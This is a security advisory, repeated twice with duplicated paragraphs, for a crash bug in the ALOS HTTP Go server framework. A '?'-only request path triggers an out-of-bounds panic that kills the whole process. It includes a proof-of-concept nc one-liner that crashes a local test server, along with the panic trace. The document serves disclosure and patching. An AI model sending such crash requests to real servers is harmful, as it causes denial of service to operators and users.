CVE-2026-55484

ALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196.

ALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196.

Summary

A single unauthenticated HTTP request to a path starting with ? (e.g. GET ? HTTP/1.1) crashes the entire server process. The request line parser passes the path to sanitizeRequestPath which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so core.Recovery() does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if ListenAndServeQUIC is enabled

Details

root cause: core/utils.go::sanitizeRequestPath

// assume path := "?"
if len(path) == 0 { // len(path) == 1
	return "/"
}

p, _ := splitPathQuery(path) // p == ""

if p[0] == '/' /*...*/ { // p[0] on empty string => panic: index out of range
	return p
}

• when the path starts with "?" len(path) is not 0 so the early return does not fire
• after splitPathQuery p is empty ""
• p is then indexed p[0] without a length check

Relevant calling sites:

• h1_plain.go:ParseH1RequestHead (HTTP/1.1)
• h1.go::ParseH1Request (dead code)
• hpack.go::decodeSimpleGetPathHTTPSRequest (HTTP/2)
• hpack.go::observeHeader (HTTP/2)
• h3_conn.go::handleRequestStream (HTTP/3)

these run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic

PoC

Minimal server, using the quick-start

srv := core.New(core.Config{Addr: ":8080", PlainHTTP: true})
srv.Router.Use(core.Recovery()) // is unable to catch a parser panic
srv.Router.GET("/", func(req *core.Request, resp *core.Response) { resp.Status(200).String("not crashed (yet)") })
log.Fatal(srv.ListenAndServe())

Crash it with a single request

printf 'GET ? HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 8080

Server output & crash

2026/06/11 20:52:52 listening on http://localhost:8080
2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false => use-ktls=false
2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576)
2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) ===
2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s))
2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600
panic: runtime error: index out of range [0] with length 0

goroutine 34 [running]:
github.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1})
        /home/baloo/alos-http/core/utils.go:566 +0x64a
github.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098)
        /home/baloo/alos-http/core/h1_plain.go:474 +0x48c
github.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db
github.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365
github.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25
github.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185
github.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a
github.com/guno1928/alos-http/core.(*plainUringBackend).start.func1()
       …

ALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196.

ALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196.

Summary

A single unauthenticated HTTP request to a path starting with ? (e.g. GET ? HTTP/1.1) crashes the entire server process. The request line parser passes the path to sanitizeRequestPath which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so core.Recovery() does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if ListenAndServeQUIC is enabled

Details

root cause: core/utils.go::sanitizeRequestPath

// assume path := "?"
if len(path) == 0 { // len(path) == 1
	return "/"
}

p, _ := splitPathQuery(path) // p == ""

if p[0] == '/' /*...*/ { // p[0] on empty string => panic: index out of range
	return p
}

• when the path starts with "?" len(path) is not 0 so the early return does not fire
• after splitPathQuery p is empty ""
• p is then indexed p[0] without a length check

Relevant calling sites:

• h1_plain.go:ParseH1RequestHead (HTTP/1.1)
• h1.go::ParseH1Request (dead code)
• hpack.go::decodeSimpleGetPathHTTPSRequest (HTTP/2)
• hpack.go::observeHeader (HTTP/2)
• h3_conn.go::handleRequestStream (HTTP/3)

these run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic

PoC

Minimal server, using the quick-start

srv := core.New(core.Config{Addr: ":8080", PlainHTTP: true})
srv.Router.Use(core.Recovery()) // is unable to catch a parser panic
srv.Router.GET("/", func(req *core.Request, resp *core.Response) { resp.Status(200).String("not crashed (yet)") })
log.Fatal(srv.ListenAndServe())

Crash it with a single request

printf 'GET ? HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 8080

Server output & crash

2026/06/11 20:52:52 listening on http://localhost:8080
2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false => use-ktls=false
2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576)
2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) ===
2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s))
2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600
panic: runtime error: index out of range [0] with length 0

goroutine 34 [running]:
github.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1})
        /home/baloo/alos-http/core/utils.go:566 +0x64a
github.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098)
        /home/baloo/alos-http/core/h1_plain.go:474 +0x48c
github.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db
github.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365
github.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25
github.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185
github.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a
github.com/guno1928/alos-http/core.(*plainUringBackend).start.func1()
       …